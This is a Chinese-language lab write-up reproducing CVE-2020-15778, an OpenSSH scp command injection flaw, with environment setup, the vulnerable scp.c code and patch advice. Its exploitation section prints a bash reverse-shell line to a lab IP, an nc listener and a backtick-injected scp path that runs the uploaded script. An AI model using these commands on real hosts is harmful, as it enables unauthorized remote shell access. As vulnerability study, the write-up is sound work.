CVE-2020-15778漏洞复现学习
作者:ch4nge
漏洞名称:OpenSSH 命令注入漏洞(CVE-2020-15778)
等级:高危
类型:命令执行
影响版本:OpenSSH <= 8.3p1
利用难度:简单
漏洞介绍:漏洞公开披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻击者可以利用此漏洞执行任意命令。
1. scp命令
简单来说就是A这里执行scp命令,将A电脑里的文件传输到B电脑(linux系统)
命令格式
scp [参数] [原路径] [目标路径]
2. 模拟环境搭建
环境效果:不可以ssh连接,可以使用scp
看到大佬说有两种方式,这里使用iptables策略搭建
参考https://www.cnblogs.com/hana-alice/p/10097357.html
靶机环境:CentOS7,ip:192.168.1.135
渗透机环境:Kali 2020,ip:192.168.1.160
1. 查看ssh版本(CentOS)=7.4p1
2.正常情况下ssh和scp命令执行情况(Kali)
3.使用iptables策略搭建环境,禁用ssh登录,只保留scp(CentOS)
(1)安装iptables
yum install -y iptables
(2)安装iptables-services
yum install iptables-services
(3)关闭防火墙
CentOS默认自带firewalld
停止firewalld服务
systemctl stop firewalld
禁用firewalld服务
systemctl mask firewalld
(4)查看现有规则
iptables -L -vn
iptables -F是清空默认规则
iptables -L -n --line-number 显示规则和相对应的编号
(5)设置策略
命令:
service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number
4. 测试ssh与scp在已设置iptables策略下的使用情况
scp功能正常使用,但是ssh在输入密码后,无任何回响,无法连接,证明iptables策略成功有效。
3. scp命令注入漏洞利用
1. 在kali里面新建1.sh,写入反弹shell的bash命令
bash -i >& /dev/tcp/192.168.1.160/6666 0>&1
2.在kali监听6666端口
nc -lvp 6666
或者使用revshellgen
3. 使用scp命令传输文件到CentOS的/tmp目录
scp 1.sh root@192.168.1.135:/tmp/1.sh
4. 命令执行,运行1.sh
scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'
成功反弹shell,实验结束!
4. 漏洞分析
if (remin == -1) {
xasprintf(&bp, "%s -t %s%s", cmd,
*targ == '-' ? "-- " : "", targ);
if (do_cmd(thost, tuser, tport, bp, &remin,
&remout) < 0)
exit(1);
if (response() < 0)
exit(1);
free(bp);
}
当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令。
5. 修复建议
补丁/升级
总结:此漏洞局限性很大,需要ssh的密码。。。通过这次操作收获良多,有问题的地方恳请指正。漏洞无处不在~好好学习!努力!奋斗!
其他:
参考:
https://www.shangyexinzhi.com/article/2244053.html
https://my.oschina.net/u/4593034/blog/4666815
iptables策略:https://www.cnblogs.com/hana-alice/p/10097357.html
SCP的代码:https://github.com/openssh/openssh-portable/blob/master/scp.c